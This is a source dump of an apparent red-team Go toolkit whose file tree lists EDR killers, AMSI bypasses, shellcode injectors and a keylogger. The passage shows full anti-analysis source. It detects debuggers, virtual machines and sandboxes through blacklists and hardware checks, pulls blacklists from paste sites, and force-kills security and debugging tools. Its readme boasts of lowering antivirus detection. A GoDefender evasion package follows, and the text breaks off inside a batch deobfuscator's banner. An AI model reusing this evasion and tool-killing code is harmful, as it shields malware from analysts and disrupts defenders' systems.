├── AntiDebugNOPACKAGE ├── AntiDebug.go └── readme.md ├── AntiDebugPackage ├── GoDefenderLogo.png ├── README.md └── main.go ├── BatchfileDeobfuscator ├── image-1.png ├── image.png ├── main.go └── readme.md ├── CreateDLL ├── CreateDLL.go └── README.md ├── EDR-XDR-AV-Killer ├── README.md ├── Terminator.sys ├── go.mod ├── go.sum └── main.go ├── ETWBypass └── main.go ├── Early_Bird_APC_Injection └── Early_Bird_APC_Injection.go ├── GoDLLInjector └── Injector.go ├── GoObfuscator ├── GoFuscator.go └── readme.md ├── GoRedOps.png ├── Keylogger ├── main.go └── readme.md ├── LICENSE ├── Lifetime-AMSI-ETW-Bypass └── main.go ├── LifetimeAMSIBypass ├── main.go └── readme.md ├── Local_Mapping_Injection └── Local_Mapping_Injection.go ├── Local_Payload_Execution └── Local_Payload_Execution.go ├── PEParser ├── main.go └── readme.md ├── ParentPIDSpoofing ├── main.go └── readme.md ├── Payload_Execution_Fibers ├── Payload_Execution_Fibers.go └── payload_exec_fibers.c ├── Payload_Placement ├── Payload_Placement.go └── Payload_Placement_Wrapper.c ├── Process_Injection_Shellcode ├── ProcInjMapper.c ├── ProcInjMapper.h ├── Process_Injection_Shellcode.go └── build.bat ├── ProtectProcess ├── ProtectProcess.go └── readme.md ├── README.md ├── Registry_Shellcode ├── Reg_Wrapper.c ├── Registry_Shellcode.go └── build.bat ├── Remote_Function_Stomping_Injection ├── RemoteFuncMapper.c ├── RemoteFuncMapper.h ├── Remote_Function_Stomping_Injection.go └── build.bat ├── Remote_Mapping_Injection ├── Remote_Mapper.c └── Remote_Mapping_Injection.go ├── Remote_Thread_Hijacking ├── Remote_Thread_Hijacking.go └── remote_thread_hijacking.c ├── RunPE ├── main.go └── pkg │ └── runpe.go ├── Threadless_Injection ├── Threadless_Injection.go ├── build.bat ├── threadless_injection_wrapper.c ├── threadless_injection_wrapper.def └── threadless_injection_wrapper.h ├── crypto ├── aes.go ├── chacha20.go ├── rc4.go └── xor.go ├── injection_native_apc └── main.go ├── injection_thread ├── createThread │ └── main.go └── ntCreateThreadEx │ └── main.go ├── instrumentation_callback └── main.go ├── misc └── convert_to_golang_shellcode_format.sh ├── network ├── http │ ├── client.go │ └── server.go ├── pipes │ ├── client.go │ └── sever.go └── tcp │ ├── client.go │ └── server.go ├── process_dump └── process_dump.go ├── sandbox └── fingerprint.go ├── self_remove └── self_remove.go ├── srdi └── srdi.go ├── token ├── impersonate.go └── list.go └── wmi └── wmi.go /AntiDebugNOPACKAGE/AntiDebug.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | #include 5 | #include 6 | #include 7 | 8 | // C Part CODED BY MUZA 9 | 10 | typedef NTSTATUS(WINAPI *NtSetInformationThread)(IN HANDLE, IN THREADINFOCLASS, IN PVOID, IN ULONG); 11 | 12 | void hehehidehthread() { 13 | NtSetInformationThread pNtSetInformationThread = (NtSetInformationThread)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtSetInformationThread"); 14 | if (pNtSetInformationThread != NULL) { 15 | THREADINFOCLASS ThreadHideFromDebugger = (THREADINFOCLASS)0x11; 16 | pNtSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0); 17 | } 18 | } 19 | BOOL checksysreq() { 20 | SYSTEM_INFO systemInfo; 21 | GetSystemInfo(&systemInfo); 22 | DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors; 23 | if (numberOfProcessors < 2) return FALSE; 24 | 25 | MEMORYSTATUSEX memoryStatus; 26 | memoryStatus.dwLength = sizeof(memoryStatus); 27 | GlobalMemoryStatusEx(&memoryStatus); 28 | DWORD RAMMB = (DWORD)(memoryStatus.ullTotalPhys / (1024 * 1024)); 29 | if (RAMMB < 2048) return FALSE; 30 | 31 | HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 32 | if (hDevice == INVALID_HANDLE_VALUE) return FALSE; 33 | 34 | DISK_GEOMETRY pDiskGeometry; 35 | DWORD bytesReturned; 36 | if (!DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL)) { 37 | CloseHandle(hDevice); 38 | return FALSE; 39 | } 40 | 41 | DWORD diskSizeGB = (DWORD)(pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / (1024 * 1024 * 1024)); 42 | CloseHandle(hDevice); 43 | if (diskSizeGB < 100) return FALSE; 44 | 45 | 46 | return TRUE; 47 | } 48 | 49 | ULONGLONG GetTickCount64(); 50 | 51 | 52 | */ 53 | 54 | // coded by codepulze and muza 55 | import "C" 56 | import ( 57 | "fmt" 58 | "syscall" 59 | "unsafe" 60 | "os/exec" 61 | "os" 62 | "strings" 63 | "encoding/json" 64 | "io/ioutil" 65 | "net/http" 66 | ) 67 | 68 | var ( 69 | mu32 = syscall.NewLazyDLL("user32.dll") 70 | pew = mu32.NewProc("EnumWindows") 71 | pgwt = mu32.NewProc("GetWindowTextA") 72 | pgwtp = mu32.NewProc("GetWindowThreadProcessId") 73 | mk32 = syscall.NewLazyDLL("kernel32.dll") 74 | pop = mk32.NewProc("OpenProcess") 75 | ptp = mk32.NewProc("TerminateProcess") 76 | pch = mk32.NewProc("CloseHandle") 77 | pidp = mk32.NewProc("IsDebuggerPresent") 78 | crdp = mk32.NewProc("CheckRemoteDebuggerPresent") 79 | 80 | pep = mk32.NewProc("K32EnumProcesses") 81 | 82 | 83 | // i stopped writing like lazy mf, i think this project will be updated so i just started writing clean on 04/04/2024 84 | // I think that this project can be usefull and it has no reason for me to write like noobie... so no loger rand var names 85 | ntdll = syscall.NewLazyDLL("ntdll.dll") 86 | ntClose = ntdll.NewProc("NtClose") 87 | createMutex = syscall.NewLazyDLL("kernel32.dll").NewProc("CreateMutexA") 88 | setHandleInformation = syscall.NewLazyDLL("kernel32.dll").NewProc("SetHandleInformation") 89 | 90 | handleFlagProtectFromClose = uint32(0x00000002) 91 | 92 | ///////////////////// exploiting log console 93 | k32 = syscall.MustLoadDLL("kernel32.dll") 94 | DebugStrgingA = k32.MustFindProc("OutputDebugStringA") 95 | gle = k32.MustFindProc("GetLastError") 96 | 97 | ) 98 | 99 | func hehehidehthread() { 100 | C.hehehidehthread() 101 | } 102 | 103 | func NtCloseAntiDebug_InvalidHandle() bool { 104 | r1, _, _ := ntClose.Call(uintptr(0x1231222)) 105 | return r1 != 0 106 | } 107 | 108 | func NtCloseAntiDebug_ProtectedHandle() bool { 109 | r1, _, _ := createMutex.Call(0, 0, uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(fmt.Sprintf("%d", 1234567))))) 110 | hMutex := uintptr(r1) 111 | r1, _, _ = setHandleInformation.Call(hMutex, uintptr(handleFlagProtectFromClose), uintptr(handleFlagProtectFromClose)) 112 | if r1 == 0 { 113 | return false 114 | } 115 | r1, _, _ = ntClose.Call(hMutex) 116 | return r1 != 0 117 | } 118 | 119 | func HardwareRegistersBreakpointsDetection() bool { 120 | const CONTEXT_DEBUG_REGISTERS = 0x00010000 | 0x00000010 121 | var context C.CONTEXT 122 | context.ContextFlags = C.CONTEXT_DEBUG_REGISTERS 123 | if C.GetThreadContext(C.GetCurrentThread(), &context) != 0 { 124 | if context.Dr1 != 0 || context.Dr2 != 0 || context.Dr3 != 0 || context.Dr7 != 0 { 125 | return true 126 | } 127 | dr := *(*[2]C.ULONG_PTR)(unsafe.Pointer(&context.R8)) 128 | if dr[0] != 0 || dr[1] != 0 { 129 | return true 130 | } 131 | } 132 | return false 133 | } 134 | 135 | 136 | func OutputDebugStringAntiDebug() bool { 137 | naughty := "hm" 138 | txptr, _ := syscall.UTF16PtrFromString(naughty) 139 | DebugStrgingA.Call(uintptr(unsafe.Pointer(txptr))) 140 | ret, _, _ := gle.Call() 141 | return ret == 0 142 | } 143 | 144 | func OllyDbgExploit(text string) { 145 | txptr, err := syscall.UTF16PtrFromString(text) 146 | if err != nil { 147 | panic(err) 148 | } 149 | DebugStrgingA.Call(uintptr(unsafe.Pointer(txptr))) 150 | } 151 | 152 | 153 | 154 | func main() { 155 | for { 156 | // for debuggers like x64dbg or any other 157 | OutputDebugStringAntiDebug() 158 | // this is for ollydbg 159 | OllyDbgExploit("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") 160 | ///////////////////////////// 161 | //hehehidehthread() 162 | if HardwareRegistersBreakpointsDetection() { 163 | os.Exit(1) 164 | } 165 | fmt.Println(NtCloseAntiDebug_InvalidHandle()) 166 | fmt.Println(NtCloseAntiDebug_ProtectedHandle()) 167 | 168 | // is debugger present check below 169 | flag, _, _ := pidp.Call() 170 | if flag != 0 { 171 | fmt.Println("xd isdebugpres is detected") 172 | os.Exit(-1) 173 | } 174 | var isremdebpres bool 175 | crdp.Call(^uintptr(0), uintptr(unsafe.Pointer(&isremdebpres))) 176 | if isremdebpres { 177 | fmt.Println("xd remote debug is detected") 178 | os.Exit(-1) 179 | } 180 | // new check 181 | if gpuchk() { 182 | syscall.Exit(-1) 183 | } 184 | 185 | fmt.Println("gpu is clean") 186 | 187 | // pc name check 188 | badpcname := []string{"00900BC83803", "0CC47AC83803", "6C4E733F-C2D9-4", "ACEPC", "AIDANPC", "ALENMOOS-PC", "ALIONE", "APPONFLY-VPS", "ARCHIBALDPC", "azure", "B30F0242-1C6A-4", "BAROSINO-PC", "BECKER-PC", "BEE7370C-8C0C-4", "COFFEE-SHOP", "COMPNAME_4047", "d1bnJkfVlH", "DESKTOP-19OLLTD", "DESKTOP-1PYKP29", "DESKTOP-1Y2433R", "DESKTOP-4U8DTF8", "DESKTOP-54XGX6F", "DESKTOP-5OV9S0O", "DESKTOP-6AKQQAM", "DESKTOP-6BMFT65", "DESKTOP-70T5SDX", "DESKTOP-7AFSTDP", "DESKTOP-7XC6GEZ", "DESKTOP-8K9D93B", "DESKTOP-AHGXKTV", "DESKTOP-ALBERTO", "DESKTOP-B0T93D6", "DESKTOP-BGN5L8Y", "DESKTOP-BUGIO", "DESKTOP-BXJYAEC", "DESKTOP-CBGPFEE", "DESKTOP-CDQE7VN", "DESKTOP-CHAYANN", "DESKTOP-CM0DAW8", "DESKTOP-CNFVLMW", "DESKTOP-CRCCCOT", "DESKTOP-D019GDM", "DESKTOP-D4FEN3M", "DESKTOP-DE369SE", "DESKTOP-DIL6IYA", "DESKTOP-ECWZXY2", "DESKTOP-F7BGEN9", "DESKTOP-FSHHZLJ", "DESKTOP-G4CWFLF", "DESKTOP-GELATOR", "DESKTOP-GLBAZXT", "DESKTOP-GNQZM0O", "DESKTOP-GPPK5VQ", "DESKTOP-HASANLO", "DESKTOP-HQLUWFA", "DESKTOP-HSS0DJ9", "DESKTOP-IAPKN1P", "DESKTOP-IFCAQVL", "DESKTOP-ION5ZSB", "DESKTOP-JQPIFWD", "DESKTOP-KALVINO", "DESKTOP-KOKOVSK", "DESKTOP-NAKFFMT", "DESKTOP-NKP0I4P", "DESKTOP-NM1ZPLG", "DESKTOP-NTU7VUO", "DESKTOP-QUAY8GS", "DESKTOP-RCA3QWX", "DESKTOP-RHXDKWW", "DESKTOP-S1LFPHO", "DESKTOP-SUPERIO", "DESKTOP-V1L26J5", "DESKTOP-VIRENDO", "DESKTOP-VKNFFB6", "DESKTOP-VRSQLAG", "DESKTOP-VWJU7MF", "DESKTOP-VZ5ZSYI", "DESKTOP-W8JLV9V", "DESKTOP-WG3MYJS", "DESKTOP-WI8CLET", "DESKTOP-XOY7MHS", "DESKTOP-Y8ASUIL", "DESKTOP-YW9UO1H", "DESKTOP-ZJF9KAN", "DESKTOP-ZMYEHDA", "DESKTOP-ZNCAEAM", "DESKTOP-ZOJJ8KL", "DESKTOP-ZV9GVYL", "DOMIC-DESKTOP", "EA8C2E2A-D017-4", "ESPNHOOL", "GANGISTAN", "GBQHURCC", "GRAFPC", "GRXNNIIE", "gYyZc9HZCYhRLNg", "JBYQTQBO", "JERRY-TRUJILLO", "JOHN-PC", "JUDES-DOJO", "JULIA-PC", "LANTECH-LLC", "LISA-PC", "LOUISE-PC", "LUCAS-PC", "MIKE-PC", "NETTYPC", "ORELEEPC", "ORXGKKZC", "Paul Jones", "PC-DANIELE", "PROPERTY-LTD", "Q9IATRKPRH", "QarZhrdBpj", "RALPHS-PC", "SERVER-PC", "SERVER1", "Steve", "SYKGUIDE-WS17", "T00917", "test42", "TIQIYLA9TW5M", "TMKNGOMU", "TVM-PC", "VONRAHEL", "WILEYPC", "WIN-5E07COS9ALR", "WINDOWS-EEL53SN", "WINZDS-1BHRVPQU", "WINZDS-22URJIBV", "WINZDS-3FF2I9SN", "WINZDS-5J75DTHH", "WINZDS-6TUIHN7R", "WINZDS-8MAEI8E4", "WINZDS-9IO75SVG", "WINZDS-AM76HPK2", "WINZDS-B03L9CEO", "WINZDS-BMSMD8ME", "WINZDS-BUAOKGG1", "WINZDS-K7VIK4FC", "WINZDS-QNGKGN59", "WINZDS-RST0E8VU", "WINZDS-U95191IG", "WINZDS-VQH86L5D", "WINZDS-MILOBM35", "WINZDS-PU0URPVI", "ABIGAI", "JUANYARO", "floppy", "CATWRIGHT", "llc"} 189 | 190 | cpcn, _ := os.Hostname() 191 | 192 | for _, pat := range badpcname { 193 | if strings.Contains(cpcn, pat) { 194 | os.Exit(-1) 195 | } 196 | } 197 | fmt.Println("PC Name is not bad") 198 | //pc name check 199 | 200 | // ip check 201 | cip() 202 | 203 | // pc uptime lol 204 | var uptime uint64 = uint64(C.GetTickCount64()) / 1000 205 | if uptime < 1200 { 206 | os.Exit(-1) 207 | } else { 208 | fmt.Println("System uptime is not sus") 209 | } 210 | // sys reqs, we will be checking for workstations (VT) 211 | if C.checksysreq() == 1 { 212 | fmt.Println("passed") 213 | } else { 214 | os.Exit(-1) 215 | } 216 | // Check Processes (Workstations have most of the time less than 50) 217 | count := rpc() 218 | if count < 50 { 219 | return 220 | } 221 | 222 | // kill blacklisted processes (can by bypassed) 223 | ptk := []string{"cmd.exe", "taskmgr.exe", "process.exe", "processhacker.exe", "ksdumper.exe", "fiddler.exe", "httpdebuggerui.exe", "wireshark.exe", "httpanalyzerv7.exe", "fiddler.exe", "decoder.exe", "regedit.exe", "procexp.exe", "dnspy.exe", "vboxservice.exe", "burpsuit.exe", "DbgX.Shell.exe", "ILSpy.exe"} 224 | 225 | for _, prg := range ptk { 226 | exec.Command("taskkill", "/F", "/IM", prg).Run() 227 | } 228 | 229 | //check windows 230 | ewp := syscall.NewCallback(ewpg) 231 | ret, _, _ := pew.Call(ewp, 0) 232 | if ret == 0 { 233 | return 234 | } 235 | } 236 | } 237 | 238 | func gpuchk() bool { 239 | gpuuri := "https://rentry.co/povewdm6/raw" 240 | gpucm := exec.Command("curl", gpuuri) 241 | ou, _ := gpucm.Output() 242 | 243 | gpul := string(ou) 244 | //might trigger WST > WMIC LOL. 245 | ou, _ = exec.Command("cmd", "/C", "wmic path win32_videocontroller get name").Output() 246 | gpun := strings.TrimSpace(strings.Split(string(ou), "\n")[1]) 247 | 248 | return strings.Contains(gpul, gpun) 249 | //gpu check, also im trying to write this readable way :c.. 250 | } 251 | 252 | 253 | 254 | func rpc() int { 255 | // current running proceesses 256 | var ids [1024]uint32 257 | var needed uint32 258 | 259 | pep.Call(uintptr(unsafe.Pointer(&ids)),uintptr(len(ids)),uintptr(unsafe.Pointer(&needed)),) 260 | 261 | return int(needed / 4) 262 | } 263 | 264 | func cip() { 265 | // ip check 266 | iplst, _ := http.Get("https://rentry.co/hikbicky/raw") 267 | defer iplst.Body.Close() 268 | ipdat, _ := http.Get("https://api.ipify.org/?format=json") 269 | defer ipdat.Body.Close() 270 | ipbyt, _ := ioutil.ReadAll(iplst.Body) 271 | var dat map[string]string 272 | json.NewDecoder(ipdat.Body).Decode(&dat) 273 | if string(ipbyt) == dat["ip"] { 274 | os.Exit(-1) 275 | } 276 | } 277 | 278 | 279 | func ewpg(hwnd uintptr, lParam uintptr) uintptr { 280 | // blaccklisted window manes 281 | var pid uint32 282 | pgwtp.Call(hwnd, uintptr(unsafe.Pointer(&pid))) 283 | 284 | var title [256]byte 285 | pgwt.Call(hwnd, uintptr(unsafe.Pointer(&title)), 256) 286 | wt := string(title[:]) 287 | 288 | bs := []string{ 289 | "proxifier", "graywolf", "extremedumper", "zed", "exeinfope", "dnspy", 290 | "titanHide", "ilspy", "titanhide", "x32dbg", "codecracker", "simpleassembly", 291 | "process hacker 2", "pc-ret", "http debugger", "Centos", "process monitor", 292 | "debug", "ILSpy", "reverse", "simpleassemblyexplorer", "process", "de4dotmodded", 293 | "dojandqwklndoqwd-x86", "sharpod", "folderchangesview", "fiddler", "die", "pizza", 294 | "crack", "strongod", "ida -", "brute", "dump", "StringDecryptor", "wireshark", 295 | "debugger", "httpdebugger", "gdb", "kdb", "x64_dbg", "windbg", "x64netdumper", 296 | "petools", "scyllahide", "megadumper", "reversal", "ksdumper v1.1 - by equifox", 297 | "dbgclr", "HxD", "monitor", "peek", "ollydbg", "ksdumper", "http", "wpe pro", "dbg", 298 | "httpanalyzer", "httpdebug", "PhantOm", "kgdb", "james", "x32_dbg", "proxy", "phantom", 299 | "mdbg", "WPE PRO", "system explorer", "de4dot", "X64NetDumper", "protection_id", 300 | "charles", "systemexplorer", "pepper", "hxd", "procmon64", "MegaDumper", "ghidra", "xd", 301 | "0harmony", "dojandqwklndoqwd", "hacker", "process hacker", "SAE", "mdb", "checker", 302 | "harmony", "Protection_ID", "PETools", "scyllaHide", "x96dbg", "systemexplorerservice", 303 | "folder", "mitmproxy", "dbx", "sniffer", "Process Hacker", 304 | } 305 | 306 | for _, str := range bs { 307 | if contains(wt, str) { 308 | proc, _, _ := pop.Call(syscall.PROCESS_TERMINATE, 0, uintptr(pid)) 309 | if proc != 0 { 310 | ptp.Call(proc, 0) 311 | pch.Call(proc) 312 | } 313 | syscall.Exit(0) 314 | } 315 | } 316 | 317 | return 1 318 | } 319 | 320 | func contains(s, substr string) bool { 321 | // pattern finding for the widnows lol 322 | return len(s) >= len(substr) && s[:len(substr)] == substr 323 | } -------------------------------------------------------------------------------- /AntiDebugNOPACKAGE/readme.md: -------------------------------------------------------------------------------- 1 | ## Features (AntiDebugBetter.go) 2 | - + Check For RemoteDebugger (ADDED) 3 | - + Hide Threads From Debugger (ADDED) 4 | - + Hardware Breakpoints (ADDED) 5 | - + OutputDebugString Exploit (ADDED) 6 | - + NtCloseAntiDebug_InvalidHandle & NtCloseAntiDebug_ProtectedHandle (ADDED) 7 | - + Check if GPU has VBOX / VM start (ADDED) 8 | - + HardWareBreakPoints (ADDED) 9 | - Blocks over 50+ popular debugging software. 10 | - Blocks IsDebuggerPresent. 11 | - Prevents debuggers and traffic debuggers. 12 | - Detects and kills blacklisted processes. 13 | - Detects windows associated with debugging tools. 14 | - Checks system uptime and running processes. 15 | - Checks disk size, RAM, and number of processors. 16 | - Verifies GPU information. 17 | - Performs IP check against a blacklist. 18 | - Lowers VirusTotal detection to 4/72. -------------------------------------------------------------------------------- /AntiDebugPackage/GoDefenderLogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvilBytecode/GoRedOps/2546c2971f42b4ef43e1414f57a5aa7e4d984cef/AntiDebugPackage/GoDefenderLogo.png -------------------------------------------------------------------------------- /AntiDebugPackage/README.md: -------------------------------------------------------------------------------- 1 | # Go Defender 2 | 3 | ![Go Defender](GoDefenderLogo.png) 4 | 5 | ## GoDefender 6 | 7 | This Go package provides functionality to detect and defend against various forms of debugging tools and virtualization environments. 8 | By the way, for quick setup, run `install.bat`. 9 | 10 | ### Anti-Virtualization 11 | 12 | - **Triage Detection**: Detects if the system is running in a triage or analysis environment. 13 | - **Monitor Metrics**: Monitors system metrics to identify abnormal behavior indicative of virtualization. 14 | - **VirtualBox Detection**: Detects the presence of Oracle VirtualBox. 15 | - **VMware Detection**: Detects the presence of VMware virtualization software. 16 | - **KVM Check**: Checks for Kernel-based Virtual Machine (KVM) hypervisor. 17 | - **Username Check**: Verifies if the current user is a default virtualization user. 18 | - **Recent User Activity**: Checks user activity; if there are fewer than 20 files, it exits. 19 | - **USB Mount**: Checks if a USB was ever plugged into the computer before. 20 | 21 | ### Anti-Debug 22 | 23 | This module includes functions to detect and prevent debugging and analysis of the running process. 24 | 25 | - **IsDebuggerPresent**: Checks if a debugger is currently attached to the process. 26 | - **Remote Debugger**: Detects if a remote debugger is connected to the process. 27 | - **PC Uptime**: Monitors system uptime to detect debugging attempts based on system restarts. 28 | - **Check Blacklisted Windows Names**: Verifies if the process name matches any blacklisted names commonly used by debuggers. 29 | - **Running Processes**: Retrieves a list of running processes and identifies potential malicious ones. 30 | - **Parent Anti-Debug**: Detects if the parent process is attempting to debug the current process. 31 | - **Kill Bad Processes**: Terminates known malicious processes detected on the system. 32 | - **Detects Usermode AntiAntiDebuggers**: Detects user-mode anti-anti-debuggers like ScyllaHide (BASIC). 33 | - **Internet Connection Check**: Checks if an internet connection is present. 34 | 35 | ### Process 36 | 37 | This module focuses on critical processes that should be monitored or protected. 38 | 39 | - **Critical Process**: Implements functionality to manage critical processes essential for system operation. 40 | - **SeDebugPrivilege**: Grants better permissions. 41 | 42 | 43 | ### Quick Nutshell 44 | 45 | - Detects most anti-anti-debugging hooking methods on common anti-debugging functions by checking for bad instructions on function addresses (most effective on x64). It also detects user-mode anti-anti-debuggers like ScyllaHide and can detect some sandboxes that use hooking to monitor application behavior/activity (like [Tria.ge](https://tria.ge/)). 46 | 47 | ## Credits 48 | 49 | - https://github.com/AdvDebug: Inspired me to start making this package. Without him, it wouldn't be here. Check out his GitHub. 50 | - https://github.com/MmCopyMemory: Provided ideas and much more. Check out his GitHub. 51 | - I made this because I noticed someone was trying to crack or analyze my other Go programs. Previously, I had many lines of anti-debugging code (I coded lazily and put everything into one), so I wanted to create something quick and reliable that would make a reverse engineer's life harder. Thus, I made GoDefender. 52 | 53 | 54 | ### TODO (V1.0.6 Plans): 55 | - Check Disk / RAM (If disk size is less than 100GB, exit; and if RAM size is less than 6GB, exit). 56 | - Flags and artifacts. 57 | - Execution time is lame, but I guess it can be added as well. 58 | - Hiding threads through (NtSetInformationThread). 59 | - Theres probably more, but i cant think of any right now. -------------------------------------------------------------------------------- /AntiDebugPackage/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | 6 | // AntiDebug 7 | "github.com/EvilBytecode/GoDefender/AntiDebug/CheckBlacklistedWindowsNames" 8 | "github.com/EvilBytecode/GoDefender/AntiDebug/InternetCheck" 9 | "github.com/EvilBytecode/GoDefender/AntiDebug/IsDebuggerPresent" 10 | "github.com/EvilBytecode/GoDefender/AntiDebug/KillBadProcesses" 11 | "github.com/EvilBytecode/GoDefender/AntiDebug/ParentAntiDebug" 12 | "github.com/EvilBytecode/GoDefender/AntiDebug/RunningProcesses" 13 | "github.com/EvilBytecode/GoDefender/AntiDebug/RemoteDebugger" 14 | "github.com/EvilBytecode/GoDefender/AntiDebug/pcuptime" 15 | 16 | // AntiVirtualization 17 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/KVMCheck" 18 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/MonitorMetrics" 19 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/RecentFileActivity" 20 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/TriageDetection" 21 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/UsernameCheck" 22 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/VirtualboxDetection" 23 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/VMWareDetection" 24 | "github.com/EvilBytecode/GoDefender/AntiVirtualization/USBCheck" 25 | 26 | // ProcessRelatedTool 27 | //"github.com/EvilBytecode/GoDefender/Process/CriticalProcess" 28 | ) 29 | 30 | func main() { 31 | // AntiDebug checks 32 | if connected, _ := InternetCheck.CheckConnection(); connected { 33 | log.Println("[DEBUG] Internet connection is present") 34 | } else { 35 | log.Println("[DEBUG] Internet connection isn't present") 36 | } 37 | 38 | if parentAntiDebugResult := ParentAntiDebug.ParentAntiDebug(); parentAntiDebugResult { 39 | log.Println("[DEBUG] ParentAntiDebug check failed") 40 | } else { 41 | log.Println("[DEBUG] ParentAntiDebug check passed") 42 | } 43 | 44 | if runningProcessesCountDetected, _ := RunningProcesses.CheckRunningProcessesCount(50); runningProcessesCountDetected { 45 | log.Println("[DEBUG] Running processes count detected") 46 | } else { 47 | log.Println("[DEBUG] Running processes count passed") 48 | } 49 | 50 | if pcUptimeDetected, _ := pcuptime.CheckUptime(1200); pcUptimeDetected { 51 | log.Println("[DEBUG] PC uptime detected") 52 | } else { 53 | log.Println("[DEBUG] PC uptime passed") 54 | } 55 | 56 | KillBadProcesses.KillProcesses() 57 | CheckBlacklistedWindowsNames.CheckBlacklistedWindows() 58 | // Other AntiDebug checks 59 | if isDebuggerPresentResult := IsDebuggerPresent.IsDebuggerPresent1(); isDebuggerPresentResult { 60 | log.Println("[DEBUG] Debugger presence detected") 61 | } else { 62 | log.Println("[DEBUG] Debugger presence passed") 63 | } 64 | 65 | if remoteDebuggerDetected, _ := RemoteDebugger.RemoteDebugger(); remoteDebuggerDetected { 66 | log.Println("[DEBUG] Remote debugger detected") 67 | } else { 68 | log.Println("[DEBUG] Remote debugger passed") 69 | } 70 | ////////////////////////////////////////////////////// 71 | 72 | // AntiVirtualization checks 73 | if recentFileActivityDetected, _ := RecentFileActivity.RecentFileActivityCheck(); recentFileActivityDetected { 74 | log.Println("[DEBUG] Recent file activity detected") 75 | } else { 76 | log.Println("[DEBUG] Recent file activity passed") 77 | } 78 | 79 | if vmwareDetected, _ := VMWareDetection.GraphicsCardCheck(); vmwareDetected { 80 | log.Println("[DEBUG] VMWare detected") 81 | } else { 82 | log.Println("[DEBUG] VMWare passed") 83 | } 84 | 85 | if virtualboxDetected, _ := VirtualboxDetection.GraphicsCardCheck(); virtualboxDetected { 86 | log.Println("[DEBUG] Virtualbox detected") 87 | } else { 88 | log.Println("[DEBUG] Virtualbox passed") 89 | } 90 | 91 | if kvmDetected, _ := KVMCheck.CheckForKVM(); kvmDetected { 92 | log.Println("[DEBUG] KVM detected") 93 | } else { 94 | log.Println("[DEBUG] KVM passed") 95 | } 96 | 97 | if blacklistedUsernameDetected := UsernameCheck.CheckForBlacklistedNames(); blacklistedUsernameDetected { 98 | log.Println("[DEBUG] Blacklisted username detected") 99 | } else { 100 | log.Println("[DEBUG] Blacklisted username passed") 101 | } 102 | 103 | if triageDetected, _ := TriageDetection.TriageCheck(); triageDetected { 104 | log.Println("[DEBUG] Triage detected") 105 | } else { 106 | log.Println("[DEBUG] Triage passed") 107 | } 108 | if isScreenSmall, _ := MonitorMetrics.IsScreenSmall(); isScreenSmall { 109 | log.Println("[DEBUG] Screen size is small") 110 | } else { 111 | log.Println("[DEBUG] Screen size is not small") 112 | } 113 | // USBCheck 114 | if usbPluggedIn, err := USBCheck.PluggedIn(); err != nil { 115 | log.Println("[DEBUG] Error checking USB devices:", err) 116 | } else if usbPluggedIn { 117 | log.Println("[DEBUG] USB devices have been plugged in, check passed.") 118 | } else { 119 | log.Println("[DEBUG] No USB devices detected") 120 | } 121 | 122 | //PROGRAM RELATED TOOLS (need admin) 123 | //programutils.SetDebugPrivilege() 124 | //programutils.SetProcessCritical() 125 | } -------------------------------------------------------------------------------- /BatchfileDeobfuscator/image-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvilBytecode/GoRedOps/2546c2971f42b4ef43e1414f57a5aa7e4d984cef/BatchfileDeobfuscator/image-1.png -------------------------------------------------------------------------------- /BatchfileDeobfuscator/image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvilBytecode/GoRedOps/2546c2971f42b4ef43e1414f57a5aa7e4d984cef/BatchfileDeobfuscator/image.png -------------------------------------------------------------------------------- /BatchfileDeobfuscator/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "os/exec" 7 | "regexp" 8 | 9 | "github.com/MmCopyMemory/gostyle/pkg/gostyle" 10 | ) 11 | //https://github.com/baum1810/batchobfuscator 12 | func deobfuscateBaum1810(con string) string { 13 | re := regexp.MustCompile(`%[^%]*%`) 14 | cc := re.ReplaceAllString(con, "") 15 | return cc 16 | } 17 | //https://github.com/moom825/batch-obfuscator-made-in-python 18 | func deobfuscateMoom825(con string) string { 19 | bytes := con[8:] 20 | dc := string(bytes) 21 | return dc 22 | } 23 | 24 | func rf(fn string) (string, error) { 25 | content, err := ioutil.ReadFile(fn) 26 | if err != nil { 27 | return "", err 28 | } 29 | return string(content), nil 30 | } 31 | 32 | func wf(of string, cc string) error { 33 | err := ioutil.WriteFile(of, []byte(cc), 0644) 34 | if err != nil { 35 | return err 36 | } 37 | return nil 38 | } 39 | 40 | func MM() { 41 | exec.Command("cls").Run() 42 | gostyle.Init() 43 | ascii := ` 44 | /$$$$$$$ /$$ /$$ /$$$$$$$ /$$ /$$$$$$ /$$ 45 | | $$__ $$ | $$ | $$ | $$__ $$ | $$ /$$__ $$ | $$ 46 | | $$ \ $$ /$$$$$$ /$$$$$$ /$$$$$$$| $$$$$$$ | $$ \ $$ /$$$$$$ /$$$$$$ | $$$$$$$ | $$ \__//$$ /$$ /$$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$ 47 | | $$$$$$$ |____ $$|_ 